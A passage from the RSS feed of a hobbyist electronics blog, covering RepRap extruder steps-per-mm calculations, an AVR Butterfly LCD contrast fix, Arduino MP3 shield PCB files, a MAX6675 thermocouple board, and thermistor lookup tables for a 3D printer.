<p>Using filament with a nominal diameter of 3mm gives:<br />
<code><br />
r<sub>f</sub> = 0.5 &times; Ø<sub>f</sub> = 1.5mm<br />
CSA<sub>f</sub> = &pi; &times; r<sub>f</sub>&sup2; = 7.07mm&sup2;<br />
</code></p>
<p>For a standard reprap using a 5mm diameter splined shaft:<br />
<code><br />
Ø<sub>PW</sub> = 5.0 mm<br />
len<sub>f</sub> = &pi; &times; Ø<sub>PW</sub> = 15.7mm<br />
vol<sub>f</sub> = CSA<sub>f</sub> &times; len<sub>f</sub> = 111mm&sup3;<br />
</code></p>
<p>With a 200 steps per revolution stepper motor, driven using half steps and directly driving the pinch wheel:<br />
<code><br />
R<sub>M:PW</sub> = 1</p>
<table>
<tr>
<td rowspan="2" valign="middle">step-vol<sub>f</sub> = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">111mm&sup3;</td>
</tr>
<tr>
<td> 400 &times; 1</td>
</tr>
</table>
<p>step-vol<sub>f</sub> = 0.278mm&sup3;<br />
</code></p>
<p>Alternatively, with the same motor driven using half steps but driving via a 5:1 gear reduction and a 8mm brass insert:<br />
<code><br />
Ø<sub>PW</sub> = 8.0 mm<br />
len<sub>f</sub> = &pi; &times; Ø<sub>PW</sub> = 25.1mm<br />
vol<sub>f</sub> = CSA<sub>f</sub> &times; len<sub>f</sub> = 177mm&sup3;<br />
R<sub>M:PW</sub> = 5</p>
<table>
<tr>
<td rowspan="2" valign="middle">step-vol<sub>f</sub> = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">177mm&sup3;</td>
</tr>
<tr>
<td> 400 &times; 5</td>
</tr>
</table>
<p>step-vol<sub>f</sub> = 0.0885mm&sup3;<br />
</code></p>
<p>This means that for each half step of the motor the original extruder draws in 0.278mm&sup3; of plastic.  If the geared extruder is used then the volume of plastic drawn in with each step of the motor is an order of magnitude lower at 0.0885mm&sup3;.  This means that the geared extruder should have much finer control as well as increased torque.</p>
<h4> Calculating the length of extrusion leaving the extruder:</h4>
<p>The output of the system is via a smaller diameter nozzle.  Working from our main assumption, what goes in must come out, the system must extrude all of the material entering the system but with a smaller cross sectional area. </p>
<p>Assuming the extrusion is the same as the nozzle diameter:<br />
<code><br />
Ø<sub>e</sub> (extrusion diameter) = Ø<sub>NOZZLE</sub><br />
r<sub>e</sub> (extrusion radius) = 0.5 &times; Ø<sub>e</sub><br />
CSA<sub>e</sub> (cross sectional area of extrusion) = &pi; &times; r<sub>e</sub>&sup2;<br />
</code><br />
Reworking our formulas from above gives us the length from a known volume.  This assumes the extrusion, like the filament, is also a perfect cylinder.<br />
<code><br />
len<sub>e</sub> (length of extrusion)<br />
vol<sub>e</sub> (extrusion volume ) = len<sub>e</sub> &times; CSA<sub>e</sub> </p>
<table>
<tr>
<td rowspan="2" valign="middle">len<sub>e</sub> = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">vol<sub>e</sub> </td>
</tr>
<tr>
<td> CSA<sub>e</sub> </td>
</tr>
</table>
<p></code></p>
<p>Substituting in the known volume drawn into the system per step:<br />
<code><br />
vol<sub>e</sub> = step-vol<sub>f</sub> </p>
<table>
<tr>
<td rowspan="2" valign="middle">len<sub>e</sub> = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">step-vol<sub>f</sub> </td>
</tr>
<tr>
<td align="center">CSA<sub>e</sub> </td>
</tr>
</table>
<p></code></p>
<p>This is the length of extrusion output per step.  By inverting this we get the number of steps per mm of extrusion required by the software.<br />
<code></p>
<table>
<tr>
<td rowspan="2" valign="middle">E_STEPS_PER_MM = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">CSA<sub>e</sub></td>
</tr>
<tr>
<td align="center">step-vol<sub>f</sub></td>
</tr>
</table>
<p></code></p>
<h4>Real world examples (continued from above) </h4>
<p>A nozzle with a 0.5mm hole and using a splined 5mm shaft direct drive system from above:<br />
<code><br />
Ø<sub>e</sub> = 0.5mm<br />
step-vol<sub>f</sub> = 0.278mm&sup3; (from earlier example above)<br />
r<sub>e</sub> = 0.5 &times; Ø<sub>e</sub>  = 0.25mm<br />
CSA<sub>e</sub> = &pi; &times; r<sub>e</sub>&sup2; = 0.196mm&sup2;</p>
<table>
<tr>
<td rowspan="2" valign="middle">E_STEPS_PER_MM = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">0.196mm&sup2;</td>
</tr>
<tr>
<td align="center">0.278mm&sup3;</sub></td>
</tr>
</table>
<p>E_STEPS_PER_MM = 0.705<br />
</code></p>
<p>A nozzle with a 0.5mm hole and using a 5:1 gear reduction and a 8mm brass insert from above:<br />
<code><br />
Ø<sub>e</sub> = 0.5mm<br />
step-vol<sub>f</sub> = 0.0885mm&sup3; (from earlier example above)<br />
r<sub>e</sub> = 0.5 &times; Ø<sub>e</sub>  = 0.25mm<br />
CSA<sub>e</sub> = &pi; &times; r<sub>e</sub>&sup2; = 0.196mm&sup2;</p>
<table>
<tr>
<td rowspan="2" valign="middle">E_STEPS_PER_MM = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">0.196mm&sup2;</td>
</tr>
<tr>
<td align="center">0.0885mm&sup3;</sub></td>
</tr>
</table>
<p>E_STEPS_PER_MM = 2.21<br />
</code></p>
<p>These values match up well with the values for the standard extruders given in the firmware. </p>
<h3>Tying it all together</h3>
<p>After reading through the working above you can see the result is proportional to the ratio of the square of the diameters and some of the terms will cancel out. </p>
<p>Combining and simplifying gives a single formula:<br />
<code></p>
<table>
<tr>
<td rowspan="2" valign="middle">E_STEPS_PER_MM = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">Ø<sub>NOZZLE</sub>&sup2; &times; steps<sub>360</sub> &times; R<sub>M:PW</sub></td>
</tr>
<tr>
<td align="center">Ø<sub>f</sub>&sup2; &times; &pi; &times; Ø<sub>PW</sub></td>
</tr>
</table>
<p></code></p>
<p>Where:<code><br />
<table>
<tr>
<td align="right">
Ø<sub>f</sub>&nbsp;=&nbsp;</td>
<td>filament diameter</td>
</tr>
<tr>
<td align="right">
Ø<sub>PW</sub>&nbsp;=&nbsp;</td>
<td>pinch wheel diameter</td>
</tr>
<tr>
<td align="right">
Ø<sub>NOZZLE</sub>&nbsp;=&nbsp;</td>
<td>nozzle diameter</td>
</tr>
<tr>
<td align="right">
steps<sub>360</sub>&nbsp;=&nbsp;</td>
<td>number of steps per revolution</td>
</tr>
<tr>
<td align="right">
R<sub>M:PW</sub>&nbsp;=&nbsp;</td>
<td>ratio of motor revolutions to pinch wheel revolutions</td>
</tr>
</table>
<p></code></p>
<p>Below in Listing 1 are my changes to <code>configuration.h</code> to automatically calculate the steps per mm based on the characteristics of the extruder.  This is calculated when the main firmware is compiled.  I&#8217;ve also created a <a href="https://spreadsheets.google.com/ccc?key=0AnHvkIQkVjKpdDlnbzJtQXV0cGdCMGVMdGpfUDJ6bmc&#038;hl=en_GB">google spreadsheet here</a> to help calculate the same value if you just want the number to throw straight into <code>configuration.h</code>. These values form a good starting point for the inevitable  fine-tuning which is required later.<br />
<div class="wp-caption alignnone" style="width: 430px"><code>
<pre align=left style="text-align:left;" >
// calculated assuming non-compressible fluid and perfect 
// cylinder filament and extrusion etc so tweaks probably be
// needed. basically what volume goes in must come out.
#define FD 3.0   // = filament diameter (3mm)
#define ED 0.5   // = extruded diameter (0.5mm)
#define PWD 8.0  // = pinch wheel diameter, outer diameter 
                 //  of teeth on my custom brass knurled gear
                 //  (7mm)  or brass insert (8mm)
#define GEAR_RATIO 5 // = drive gear ratio (1 normally,
                     //   5 for 5:1 geared drive)
#define E_STEPS_PER_REV 400 // number of steps per revolution 
                            // (I'm using a half steps drive)

#define PI 3.14159265359                                //*RO
#define FL (PI * PWD) // filament length fed in one rev //*RO
#define R1 (FD/2)     // radius of filament going in    //*RO
#define R2 (ED/2)     // radius of extruded filament    //*RO
#define EL ( (FL*R1*R1)/(R2*R2) ) // length extruded    //*RO

#define E_STEPS_PER_MM (E_STEPS_PER_REV * GEAR_RATIO / EL) </pre>
<p></code><p class="wp-caption-text">Listing 1: Automated calculations added to <code>configutaion.h</code></p></div></p>
<p>Any thoughts, comments and ideas are always welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=358</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>How to fix LCD contrast problems on the AVR Butterfly</title>
		<link>http://www.brokentoaster.com/blog/?p=243</link>
		<comments>http://www.brokentoaster.com/blog/?p=243#comments</comments>
		<pubDate>Thu, 17 Jun 2010 17:19:48 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[AVR]]></category>
		<category><![CDATA[AVR butterfly]]></category>
		<category><![CDATA[logging]]></category>
		<category><![CDATA[mp3]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=243</guid>
		<description><![CDATA[I had heard a number of reports of contrast problems on the AVR Butterflies produced over the last year. Unfortunately I haven&#8217;t had an opportunity to look into this until now. This week while checking some MP3 player code on a new AVR Butterfly I ran into the problem for myself. Luckily it was a [...]]]></description>
				<content:encoded><![CDATA[<p>I had heard a number of reports of contrast problems on the AVR Butterflies produced over the last year.  Unfortunately I haven&#8217;t had an opportunity to look into this until now.  This week while checking some MP3 player code on a new AVR Butterfly I ran into the problem for myself. Luckily it was a simple fix.</p>
<p>A quick search on AVR Freaks turned up the <a href="http://www.avrfreaks.net/index.php?name=PNphpBB2&#038;file=viewtopic&#038;p=591399">following solution</a>.</p>
<blockquote><p>
Turns out adding the following to lcd_driver.c fixed the problem: </p>
<p>//updated 2006-10-10, setting LCD drive time to 1150us in FW rev 07,<br />
//instead of previous 300us in FW rev 06. Due to some variations on the LCD<br />
//glass provided to the AVR Butterfly production.<br />
LCDCCR |= (1&lt;&lt;LCDDC2) | (1&lt;&lt;LCDDC1) | (1&lt;&lt;LCDDC0);
</p></blockquote>
<p>I inserted these lines as instructed into the file <code>LCD_driver.c</code> at the end of the <code>LCD_Init()</code> function  just after <code>gLCD_Update_Required = FALSE;</code> (this is around line 170 for <a href="http://www.brokentoaster.com/butterflymp3/">ButterflyMP3</a>). </p>
<p>The change has fixed the problem on my hardware.  Although I have updated the files in the CVS, I have not done a general release for either <a href="http://www.brokentoaster.com/butterflymp3/">ButterflyMP3</a> or <a href="http://www.brokentoaster.com/butterflylogger/">Butterfly Logger</a>.  You can get the modified files directly from the CVS system, <a href="http://butterflymp3.cvs.sourceforge.net/viewvc/butterflymp3/ButterflyMP3/Source/LCD_driver.c?view=log">here for ButterflyMP3</a> and <a href="http://butterflylogger.cvs.sourceforge.net/viewvc/butterflylogger/logger/LCD_driver.c?view=log">here for Butterfly Logger</a></p>
<p>In addition to the changes given above in the post at AVR Freaks, the macro around line 45 in the file <code>LCD_driver.h</code></p>
<p><code>#define LCD_CONTRAST_LEVEL(level) LCDCCR=(0x0F &#038; level)</code></p>
<p>should be changed to something like </p>
<p><code>#define LCD_CONTRAST_LEVEL(level) LCDCCR=(0xF0 &#038; LCDCCR) | (0x0F &#038; level)</code></p>
<p>This change will ensure that the drive time setting does not get erased when using the macro to set the contrast at some time after initialisation.  I have not tested this as none of my firmware sets the contrast after startup.</p>
<h3>Why are these changes needed?</h3>
<p>It appears that the LCD&#8217;s characteristics have changed and it now requires a much longer drive time of 1150μs.  The original LCD needed only 330μs. I&#8217;m unsure of the effect of this on the overall power consumption other than it will increase the LCD&#8217;s portion of it. </p>
<p>If the original 330μs drive time is used, then some of the newer LCDs will be very dim and you may only be able to read them at an angle if at all.  If you really want to squeeze a little more battery life out of your AVR Butterfly based project then you could have a go at tweaking this value back to 850μs or even 575μs and check the display for readability.</p>
<p>Heres an explanation of what those bits do from the <a href="http://www.atmel.com/Images/doc8284.pdf">ATMEGA169PA data sheet</a> on page 248.</p>
<blockquote><p>
• Bits 7:5 – LCDDC2:0: LDC Display Configuration<br />
The LCDDC2:0 bits determine the amount of time the LCD drivers are turned on for each voltage transition on segment and common pins. A short drive time will lead to lower power consumption, but displays with high internal resistance may need longer drive time to achieve satisfactory contrast. Note that the drive time will never be longer than one half prescaled LCD clock period, even if the selected drive time is longer. When using static bias or blanking, drive time will always be one half prescaled LCD clock period.
</p></blockquote>
<p>And the accompanying table from the same datasheet also on page 248.</p>
<h4>Table 23-7. LCD Display Configuration</h4>

<table id="wp-table-reloaded-id-1-no-1" class="wp-table-reloaded wp-table-reloaded-id-1">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">LCDDC2</th><th class="column-2">LCDDC1</th><th class="column-3">LCDDC0</th><th class="column-4">Nominal drive time</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">0</td><td class="column-2">0</td><td class="column-3">0</td><td class="column-4">300 µs</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">0</td><td class="column-2">0</td><td class="column-3">1</td><td class="column-4">70 µs</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">0</td><td class="column-2">1</td><td class="column-3">0</td><td class="column-4">150 µs</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">0</td><td class="column-2">1</td><td class="column-3">1</td><td class="column-4">450 µs</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">1</td><td class="column-2">0</td><td class="column-3">0</td><td class="column-4">575 µs</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">1</td><td class="column-2">0</td><td class="column-3">1</td><td class="column-4">850 µs</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">1</td><td class="column-2">1</td><td class="column-3">0</td><td class="column-4">1150 µs</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">1</td><td class="column-2">1</td><td class="column-3">1</td><td class="column-4">50% of clkLCD_PS</td>
	</tr>
</tbody>
</table>

]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=243</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arduino MP3 Shield Rev B (correct files this time)</title>
		<link>http://www.brokentoaster.com/blog/?p=223</link>
		<comments>http://www.brokentoaster.com/blog/?p=223#comments</comments>
		<pubDate>Mon, 14 Jun 2010 17:39:27 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[arduino]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[pcbs]]></category>
		<category><![CDATA[shield]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=223</guid>
		<description><![CDATA[I have to apologise to everyone who downloaded the Revision B Arduino MP3 Shield PCBs when I posted them here and here. I accidently uploaded and emailed everyone the wrong files, not only were they not revision B they weren&#8217;t even revision A. This was totally my fault as I grabbed the files from the [...]]]></description>
				<content:encoded><![CDATA[<p>I have to apologise to everyone who downloaded the Revision B Arduino MP3 Shield PCBs when I posted them <a href="http://www.brokentoaster.com/blog/?p=90">here</a> and <a href="http://www.brokentoaster.com/blog/?p=93">here</a>.</p>
<p>I accidently uploaded and emailed everyone the wrong files, not only were they not revision B they weren&#8217;t even revision A. This was totally my fault as I grabbed the files from the wrong directory when uploading. I was sure I had checked they were correct but obviously I hadn&#8217;t.</p>
<p>I&#8217;ve included some pictures of what the layout is supposed to look like for Rev B so you can check the gerbers and EAGLE files are correct before getting any made. ( Look for the large &#8216;B&#8217; on the top copper layer.) </p>
<div class="wp-caption aligncenter" style="width: 360px"><br />
<a href="http://www.brokentoaster.com/arduinomp3/files/top.png"><br />
<img src="http://www.brokentoaster.com/arduinomp3/files/top.png" width="350px" /></a><br />
<p class="wp-caption-text">Figure 1 : Arduino MP3 Shield Rev B PCB -  Top view</p></div>
<div class="wp-caption aligncenter" style="width: 360px"><br />
<a href="http://www.brokentoaster.com/arduinomp3/files/bot.png"><br />
<img src="http://www.brokentoaster.com/arduinomp3/files/bot.png" width="350px" /></a><br />
<p class="wp-caption-text">Figure 2 : Arduino MP3 Shield Rev B PCB -  Bottom view</p></div>
<p>I have since fixed the links and are now hosting the correct files. Here are the links again:</p>
<p><a href="http://www.brokentoaster.com/arduinomp3/files/arduinoMP3_eagle.zip">EAGLE files are here</a></p>
<p><a href="http://www.brokentoaster.com/arduinomp3/files/arduinoMP3_gerbers.zip">GERBER files are here</a></p>
<p><a href="http://www.brokentoaster.com/arduinomp3/files/arduinoMP3_library.zip">Arduino Library files are here</a></p>
<p><a href="http://www.brokentoaster.com/arduinomp3/files/arduinoMP3_schem.pdf">PDF of the schematic is here</a></p>
<p>Once again sorry to everyone who got the wrong files.</p>
<p><a rel="license" href="http://creativecommons.org/licenses/by-sa/2.0/uk/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/2.0/uk/88x31.png" /></a><br /><span xmlns:dc="http://purl.org/dc/elements/1.1/" property="dc:title">Arduino MP3 Shield</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://www.brokentoaster.com/" property="cc:attributionName" rel="cc:attributionURL">Nick Lott</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/2.0/uk/">Creative Commons Attribution-Share Alike 2.0 UK: England &amp; Wales License</a>.<br />Based on a work at <a xmlns:dc="http://purl.org/dc/elements/1.1/" href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_eagle.zip" rel="dc:source">www.brokentoaster.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=223</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MAX6675 Thermocouple breakout board (TC-6675)</title>
		<link>http://www.brokentoaster.com/blog/?p=203</link>
		<comments>http://www.brokentoaster.com/blog/?p=203#comments</comments>
		<pubDate>Mon, 31 May 2010 18:17:43 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[pcbs]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=203</guid>
		<description><![CDATA[In order to improve and verify the performance of my Reprap Mendel extruder I decided to build a system based on a K-Type thermocouple. I ordered some samples of a MAX6675 from Maxim Integrated Products. I decided to use this chip over the Analog Devices AD595 out of curiosity as it was new to me [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/tc-6675.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/tc-6675.png" alt="" title="TC-6675, PCB Layout." width="433" height="292" class="aligncenter size-full wp-image-202" /></a></p>
<p>In order to improve and verify the performance of my Reprap Mendel extruder I decided to build a system based on a K-Type thermocouple. I ordered some samples of a <a href ='http://www.maxim-ic.com/quick_view2.cfm/qv_pk/3149'>MAX6675</a> from <a href='http://www.maxim-ic.com/'>Maxim Integrated Products</a>.  I decided to use this chip over the Analog Devices AD595 out of curiosity as it was new to me and due to the 12-bit digital output.  Although plenty of breakout boards already exist for this product I decided to design my own based around <a href='http://uk.rs-online.com/web/search/searchBrowseAction.html?method=getProduct&#038;R=3817564'>this PCB-mount thermocouple connector</a>. I like the idea of being able to simply unplug a thermocouple and quickly plug another one in so the use of a standard miniature socket sounds like a pretty good idea to me. It makes switching between probes a breeze and allows me to use <a href='http://www.maplin.co.uk/Module.aspx?ModuleNo=46257&#038;C=SO&#038;U=strat15'> cheap thermocouple probes from Maplin</a> </p>
<p>I haven&#8217;t tested this board yet so I&#8217;ll have to update the post later after I&#8217;ve had a chance to play with some ferric chloride.</p>
<p>Having stood back from the design for about 3 seconds it occurs to me that I should probably combine this with my <a href='http://www.brokentoaster.com/blog/?p=76'>ATTINY45 USB Key</a> project to make a standalone Thermocouple to USB converter, but who has the time <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .</p>
<p>All files are  Creative Commons Attribution-Share Alike 2.0<br />
<a href='http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/TC-6675.pdf'>TC-6675, Schematic (PDF)</a><br />
<a href='http://www.brokentoaster.com/mendel/max6675.lbr'>Eagle Library (MAX6675ISA+ and RS#3817564)</a><br />
<a href='http://www.brokentoaster.com/mendel/TC-6675.sch'>TC-6675 Schematic (EAGLE)</a><br />
<a href='http://www.brokentoaster.com/mendel/TC-6675.brd'>TC-6675 PCB layout (EAGLE)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=203</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Getting more from your thermistor lookup tables</title>
		<link>http://www.brokentoaster.com/blog/?p=148</link>
		<comments>http://www.brokentoaster.com/blog/?p=148#comments</comments>
		<pubDate>Sun, 23 May 2010 15:25:42 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=148</guid>
		<description><![CDATA[Last weekend I managed to blow up the motor driver chips on the reprap mendel extruder board. I did this by enabling the #FASTPWM option in the extruder firmware. I&#8217;m not sure exactly why this caused the chips to blow up, but what I do know is that the smoke got out and now they [...]]]></description>
				<content:encoded><![CDATA[<p>Last weekend I managed to blow up the motor driver chips on the reprap mendel extruder board.  I did this by enabling the #FASTPWM option in the extruder firmware. I&#8217;m not sure exactly why this caused the chips to blow up, but what I do know is that the smoke got out and now they don&#8217;t do anything.  I believe the problem was that either the PWM wasn&#8217;t working at all or that the current in the motor windings was not able to decay enough in the time allowed for by the faster PWM frequency.  I have been investigating using a standard v2.3 stepper motor board to drive the extruder motor but I will need to modify the motherboard firmware to get it working properly.</p>
<p>While poking about in the extruder firmware I noticed that the thermistor lookup tables could be improved.  Currently I have been extruding my PLA at 250°C for reliable results.  Looking at the standard lookup table, 255 is the second entry which means that most of the look up table is spent defining temperatures much below where I really want the most accurate temperature readings.  </p>
<p>By choosing the points more carefully and tailoring the spread we can achieve better accuracy where we want it.  This is most clearly seen when the table is plotted.</p>
<div id="attachment_143" class="wp-caption aligncenter" style="width: 460px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/10/comparison.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/10/comparison.png" alt="" title="Chart - Comparison of thermistor lookup tables" width="450" height="273" class="size-large wp-image-143" /></a><p class="wp-caption-text">Figure 1 : Comparison of thermistor lookup tables</p></div>
<p>Figure 1 above shows a hand modified table as compared to both a perfect table with 1023 values and the standard table.  If you  look at the difference between the perfect line and the standard line you can see that above 255°C the graphs diverge significantly.  What does this mean?  It means that an actual temperature of 270°C will appear to our controller as 400°C.  While this probably won&#8217;t make a large difference to the control of temperatures below 250°C it would be nice to know the system is accurate right up to 300°C.  Changing the table may also improve the response of the control system near 250°C and reduce unexpected behaviour.  An example of this might be when the system is set to 255°C and overshoots by only 5°C, the system will compensate for a measured overshoot of 20°C.</p>
<div class="wp-caption aligncenter" style="width: 460px"></p>
<table width="100%">
<theader>
<tr>
<td><strong>The original (ADC prioritised) table</strong></td>
<td width="20%">
</td>
<td><strong>A temperature prioritised  table</strong></td>
</tr>
</theader>
<tbody>
<tr>
<td>
<pre>
   {1, 841},
   {54, 255},
   {107, 209},
   {160, 184},
   {213, 166},
   {266, 153},
   {319, 142},
   {372, 132},
   {425, 124},
   {478, 116},
   {531, 108},
   {584, 101},
   {637, 93},
   {690, 86},
   {743, 78},
   {796, 70},
   {849, 61},
   {902, 50},
   {955, 34},
   {1008, 3}
</pre>
</td>
<td></td>
<td valign="top">
<pre>
   {5, 500},
   {6, 474},
   {8, 448},
   {9, 422},
   {12, 396},
   {15, 370},
   {20, 344},
   {26, 318},
   {35, 292},
   {49, 266},
   {70, 240},
   {103, 214},
   {155, 188},
   {236, 162},
   {359, 136},
   {526, 110},
   {711, 84},
   {867, 58},
   {962, 32},
   {1005, 6}
</pre>
</td>
</tr>
</tbody>
</table>
<p><p class="wp-caption-text">Table 1 : Comparison of thermistor lookup tables</p></div>
<p>The Python script used to generate these lookup tables first generates an even spread of ADC values that the software will see and then generates the corresponding temperatures.  While this approach generally gives a great conversion across the entire range of readings, it&#8217;s not the best use of the lookup table for this particular application.  I&#8217;ve edited the script to reverse the process and select a number of temperature points where we are interested in and then look up the corresponding ADC values to match.  This results in a table (shown in Table 1 above) that ensures the 200°C to 300°C range has plenty of points and the sub 100°C region has the minimum required.  The modified Python script is <a href="http://www.brokentoaster.com/mendel/createmyTemperatureLookup.py">here</a>.</p>
<p>Unfortunately I broke my last thermistor while building a new extruder heater so I haven&#8217;t been able to test the new table.  When I get a replacement I plan to check the results with a thermocouple to ensure accuracy across the range.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=148</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A new heater and better printing.</title>
		<link>http://www.brokentoaster.com/blog/?p=121</link>
		<comments>http://www.brokentoaster.com/blog/?p=121#comments</comments>
		<pubDate>Thu, 20 May 2010 17:29:35 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=121</guid>
		<description><![CDATA[When I was ordering the parts for my reprap last year I accidentally ordered some thermistors that were only rated to 150°C rather than the 300°C of the recommended part.  I can&#8217;t remember if it was just an oversight or I was swayed by the fact that they were only £0.58 each as a opposed [...]]]></description>
				<content:encoded><![CDATA[<p>When I was ordering the parts for my reprap last year I accidentally ordered some <a href="http://uk.farnell.com/avx/nd03r00104j/thermistor-ntc-100k-3-5mm/dp/1672374?Ntt=1672374" target="_blank">thermistors</a> that were only rated to 150°C rather than the 300°C of the <a href="http://uk.rs-online.com/web/search/searchBrowseAction.html?method=getProduct&amp;R=5288592" target="_blank">recommended</a> part.  I can&#8217;t remember if it was just an oversight or I was swayed by the fact that they were only £0.58 each as a opposed to £3.99.</p>
<p>After realizing my mistake I ordered the correct part but assembled an extruder using the thermistor at hand out of both curiosity and impatience.  The results of initial testing were quite good (<a href="http://www.brokentoaster.com/blog/?p=89">see this post</a>) and the initial prints seemed acceptable.  I decided after printing <a href="http://objects.reprap.org/wiki/Geared_Nema17_Extruder_Driver">Adrian&#8217;s geared driver</a> it would be a good time to rebuild the heater of the extruder using the glass bead thermistor.</p>
<div id="attachment_116" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/Charred-Thermistor.jpg"><img class="size-medium wp-image-116 " title="Charred Thermistor" src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/Charred-Thermistor-300x200.jpg" alt="" width="300" height="200" /></a><p class="wp-caption-text">Photo 1: The charred remains of a thermistor 100°C outside its comfort zone.</p></div>
<p><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/Charred-Thermistor.jpg"></a>After removing the resistor from the charred heater (pictured above in Photo 1) one of my main concerns with the heater was that the polyimide tape was often melting and giving off fumes.  As I was only heating to 220°C at most according to the extruder control board then either my tape was not the Kapton™ tape it said it was or the thermistor was reading the wrong temperature.  I&#8217;m not sure that the wrong temperature was due to the bad thermal contact with the nozzle or the fact that I was operating outside the recommended temperature range.  The new thermistor is much much smaller (0.8mm diameter (Ø) as opposed to 6.3mm Ø) and so should be much closer to the heater barrel and able to achieve much better thermal contact.</p>
<p>Once rebuilt, tested, the extruder firmware reprogrammed for the new thermistor look-up table, and the sanguino motherboard reprogrammed for the new extruder drive I started printing some test parts.  The test parts are from a design I&#8217;ve started for an adjustable hub for use in feeding filament into the reprap.</p>
<div id="attachment_117" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5805.jpg"><img class="size-medium wp-image-117" title="The Hub-o-matic" src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5805-300x200.jpg" alt="" width="300" height="200" /></a><p class="wp-caption-text">Photo 2: The Hub-o-matic</p></div>
<p>I had found that with the previous heater I was able to extrude reliably at temperatures around 200°C &#8211; 220°C. With this new thermistor in place I needed to heat the system up to 250°C to get comparable results.  I hope to get a thermocouple sensor at some point to confirm the actual temperature of the nozzle.  My preliminary testing at temperatures below 100°C show the tip of the nozzle to be about 50°C below the temperature read at the thermistor.  I am unsure if this is due to sensor error or simply heat dissipation along the heater barrel.</p>
<p>Once up and running though I did get some parts printed, but only after a couple of runs that ran out of steam half way through.  The photos below show examples of the good and the bad prints.  To get a sense of scale the spindle is M8 threaded rod and the screws holding the struts to the bearing holders are all M3x20.  The bearings a 608ZZ (AKA skateboard bearings).  The usual problem I find with my prints going wrong is that they print perfectly for the first part and then the extruder just runs out of heat and the extrusion becomes quite lumpy.  This I normally try to fix by increasing the temperature.  This works to an extent but costs you in quality as the extruder begins to ooze uncontrollably or simply extrudes too much filament.</p>
<div id="attachment_119" class="wp-caption aligncenter" style="width: 310px"><a style="text-decoration: none;" href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5810.jpg"><img class="size-medium wp-image-119 " title="Hub Arm - Good" src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5810-300x200.jpg" alt="" width="300" height="200" /></a><p class="wp-caption-text">Photo 3: A good print of a 60mm x 10mm x 10mm strut for the Hub-o-matic</p></div>
